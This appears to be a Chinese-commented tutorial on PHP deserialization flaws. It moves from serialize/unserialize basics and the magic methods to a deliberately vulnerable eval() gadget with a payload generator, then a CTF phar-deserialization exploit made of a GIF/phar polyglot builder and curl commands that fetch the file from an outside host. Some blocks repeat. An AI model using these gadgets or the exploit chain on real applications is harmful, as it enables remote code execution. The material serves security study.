serialize()     //实现变量的序列化，返回结果为字符串
unserialize()    //实现字符串的反序列化，返回结果为变量

<?php 
class SerializeTest{
    private $flag = "null";
    public $aaa = "s1awwhy";
    protected $ddd = "why";
    public function set_flag($flag){
        $this->flag = $flag;
    }
    public function get_flag(){
        return $this->flag;
    }
}
$demo1 = new SerializeTest();$serialArray = serialize($array1);
echo $serialArray;
echo "\n";$demo1->set_flag("flag{helloworld");

$serialization1 = serialize($demo1);
echo $serialization1;

 ?>

<?php 
/*
  对数组array1进行序列化，然后打印序列化后的结果，并且写入文件中，接着输出这个数组。

*/

$array1 = array('1','2','3');
$serialArray = serialize($array1);
echo $serialArray;
file_put_contents("serialization.txt",$serialArray);
$array2 = unserialize($serialArray);
print_r($array2);


 ?>

__construct()    //构造函数，当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
__destruct()     //析构函数，类似于C++。会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行，当对象被销毁时会自动调用。
__wakeup()     //调用unserialize()时会检查是否存在 __wakeup()，如果存在，则会优先调用 __wakeup()方法。
__toString()    //用于处理一个类被当成字符串时应怎样回应，因此当一个对象被当作一个字符串时就会调用。
__sleep()        //用于提交未提交的数据，或类似的清理操作，因此当一个对象被序列化的时候被调用。
__call()          //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get()         //用于从不可访问的属性读取数据
__set()         //用于将数据写入不可访问的属性
__isset()      //在不可访问的属性上调用isset()或empty()触发
__unset()      //在不可访问的属性上使用unset()时触发
__toString()   //把类当作字符串使用时触发
__invoke()     //当脚本尝试将对象调用为函数时触发

<?php 
class MagicFunc{
    private $flag = "null";
    public $aaa = "s1awwhy";
    protected $ddd = "why";
    function __construct(){
        echo "__construct()";
        echo "\n";
    }

    function __sleep(){
        echo "__sleep()";
        echo "\n";
        return array("name");
    }

    function __wakeup(){
        echo "__wakeup()";
        echo "\n";
    }

    function __destruct(){
        echo "__destruct()";
        echo "\n";
    }

    function __toString(){
        return "__toString()";
        // echo "\n";
    }

}
$magicFunc = new MagicFunc();
$serialization = serialize($magicFunc);
$result = unserialize($serialization);

 ?> 

<?php
class serialVul {
    private $test;
    public $s1awwhy = "i am s1awwhy";
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->action();
    }
}

class L {
    function action() {
        echo "Welcome to websec";
    }
}

class Evil {

    var $test2;
    function action() {
        eval($this->test2);
    }
}
echo "PHP_Serialize_Vulnerability";
unserialize($_GET['test']);

<?php 

class serialVul{
    private $test;
    function __construct(){
        $this->test = new Evil();
    }
}
class Evil{
    public $test2 = "phpinfo();";
}
$serialVul1 = new serialVul;
$payload = serialize($serialVul1);
echo $payload;
file_put_contents("payload.txt", $payload);

 ?>

<?php
    $FLAG    = create_function("", 'die(`/read_flag`);');                    // 得到 flag 的匿名函数
    $SECRET  = `/read_secret`;
    $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);   // 根据 remote_addr 给每个人创建一个沙盒
    @mkdir($SANDBOX);
    @chdir($SANDBOX);


    if (!isset($_COOKIE["session-data"])) {                
        $data = serialize(new User($SANDBOX));
        $hmac = hash_hmac("sha1", $data, $SECRET);
        setcookie("session-data", sprintf("%s-----%s", $data, $hmac));      //将每个人唯一的沙盒对象加上签名后作为 session-data
    }


    class User {
        public $avatar;
        function __construct($path) {
            $this->avatar = $path;                                          //设置了头像的路径为沙盒路径
        }
    }


    class Admin extends User {
        function __destruct(){
            $random = bin2hex(openssl_random_pseudo_bytes(32));
            eval("function my_function_$random() {"
                ."  global \$FLAG; \$FLAG();"                                /*反序列化这个对象就能创建一个随机名字的函数，调用这个函数就能调用 flag，实际上这是一个骗局，匿名函数也是有名字的*/
                ."}");
            $_GET["lucky"]();
        }   
    }


    function check_session() {
        global $SECRET;
        $data = $_COOKIE["session-data"];
        list($data, $hmac) = explode("-----", $data, 2);
        if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
            die("Bye");
        if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
            die("Bye Bye");
        $data = unserialize($data);
        if ( !isset($data->avatar) )
            die("Bye Bye Bye");
        return $data->avatar;                                               //判断身份，如果身份正确返回头像路径(沙盒路径)
                                                                            //该函数不可绕过
    }


    function upload($path) {
        $data = file_get_contents($_GET["url"] . "/avatar.gif");            //获取头像，检查头是否为GIF89a ，正确后存入沙盒,
                                                                            //这个就是利用 phar:// 进行反序列化的点
        if (substr($data, 0, 6) !== "GIF89a")
            die("Fuck off");
        file_put_contents($path . "/avatar.gif", $data);
        die("Upload OK");
    }


    function show($path) {                                                 //获取这个沙盒中的头像，
        if ( !file_exists($path . "/avatar.gif") )
            $path = "/var/www/html";
        header("Content-Type: image/gif");
        die(file_get_contents($path . "/avatar.gif"));
    }


    $mode = $_GET["m"];
    if ($mode == "upload")
        upload(check_session());
    else if ($mode == "show")
        show(check_session());
    else
        highlight_file(__FILE__);

    function check_session() {
        global $SECRET;
        $data = $_COOKIE["session-data"];
        list($data, $hmac) = explode("-----", $data, 2);
        if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
            die("Bye");
        if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
            die("Bye Bye");
        $data = unserialize($data);
        if ( !isset($data->avatar) )
            die("Bye Bye Bye");
        return $data->avatar;                                               //判断身份，如果身份正确返回头像路径(沙盒路径)
                                                                            //该函数不可绕过
    }

$FLAG    = create_function("", 'die(`/read_flag`);');                    // 得到 flag 的匿名函数
    $SECRET  = `/read_secret`;
    $SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);   // 根据 remote_addr 给每个人创建一个沙盒
    @mkdir($SANDBOX);
    @chdir($SANDBOX);


    if (!isset($_COOKIE["session-data"])) {                
        $data = serialize(new User($SANDBOX));
        $hmac = hash_hmac("sha1", $data, $SECRET);
        setcookie("session-data", sprintf("%s-----%s", $data, $hmac));      //将每个人唯一的沙盒对象加上签名后作为 session-data
    }

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");            //获取头像，检查头是否为GIF89a ，正确后存入沙盒
                                                //这个就是利用 phar:// 进行反序列化的点
    if (substr($data, 0, 6) !== "GIF89a")
        die("Fuck off");
    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

<?php
class Admin {
    public $avatar = 'orz';  
} 
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"